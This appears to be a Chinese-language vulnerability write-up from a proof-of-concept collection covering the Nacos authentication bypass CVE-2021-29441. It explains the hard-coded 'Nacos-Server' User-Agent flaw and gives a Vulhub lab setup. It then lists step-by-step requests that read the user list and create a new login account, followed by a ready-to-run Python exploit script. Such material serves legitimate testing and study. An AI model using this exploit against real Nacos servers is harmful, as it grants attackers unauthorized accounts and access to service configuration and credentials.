Awesome-POC/云安全漏洞/Nacos 认证绕过漏洞 CVE-2021-29441.md
2024-11-06 14:10:36 +08:00

107 lines
3.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Nacos 认证绕过漏洞 CVE-2021-29441
## 漏洞描述
Nacos 是阿里巴巴推出来的一个新开源项目是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在 nacos 在进行认证授权操作时,会判断请求的 user-agent 是否为”Nacos-Server”如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单并且将协商好的 user-agent 设置为 Nacos-Server直接硬编码在了代码里导致了漏洞的出现。并且利用这个未授权漏洞攻击者可以获取到用户名密码等敏感信息。
参考链接:
- https://github.com/advisories/GHSA-36hp-jr8h-556f
## 环境搭建
Vulhub 运行漏洞环境:
```
docker-compose up -d
```
环境运行后,会开放 3306、8848、9848、9555 端口,在本次漏洞利用中,我们只需要用到 8848 端口,即 web 访问端口。
执行漏洞验证过程时,请先访问 8848 端口,确认开放,某些情况下 nacos 服务会启动失败(无法连接数据库导致),可以重启 nacos 服务或者重启所有服务。
```
docker-compose restart nacos
```
## 漏洞复现
漏洞利用过程如下:
1. 修改 User-Agent 的值为 Nacos-Server 到请求包中
2. 访问 `http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9` 查看状态码是否为 200且内容中是否包含 `pageItems`
3. 使用 POST 方式访问 `http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub` 添加一个新用户
4. 访问 `http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9` 获取已有的用户列表
5. 访问 `http://target:8848/nacos/`,使用添加的新用户 (vulhub/vulhub) 进行登录
**检测漏洞是否存在**
添加 Header 头后访问 `http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9` 可以看到返回值为 200且内容中是否包含 `pageItems`
![image-20220226230032045](images/202202262300141.png)
**添加新用户**
添加 Header 头后使用 `POST` 方式请求 `http://target:8848/nacos/v1/auth/users?username=test&password=test` 添加一个新用户,账号密码都为 `test`
![image-20220226230105927](images/202202262301006.png)
**使用新建的账号进行登录**
使用账号密码 `test/test` 登录。
![image-20220226230250829](images/202202262302898.png)
## 漏洞 POC
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import requests
headers = {
"User-Agent": "Nacos-Server"
}
def check(target):
endpoint = "/nacos/v1/auth/users?pageNo=1&pageSize=9"
r = requests.get(target.strip("/") + endpoint, headers=headers)
if r.status_code == 200 and "pageItems" in r.text:
print target + " has vulnerabilities"
return True
print target + "has not vulnerabilities"
return False
def add_user(target):
add_user_endpoint = "/nacos/v1/auth/users?username=vulhub&password=vulhub"
r = requests.post(target.strip("/") + add_user_endpoint, headers=headers)
if r.status_code == 200 and "create user ok" in r.text:
print "Add User Success"
print "New User Info: vulhub/vulhub"
print "Nacos Login Endpoint: {}/nacos/".format(target)
exit(1)
print "Add User Failed"
if __name__ == '__main__':
if len(sys.argv) != 2:
print "Please specify the target: python poc.py http://xxxxx:8848"
exit(-1)
if check(sys.argv[1]):
add_user(sys.argv[1])
```
```
python poc.py http://target:8848
```
![image-20220226225534784](images/202202262255839.png)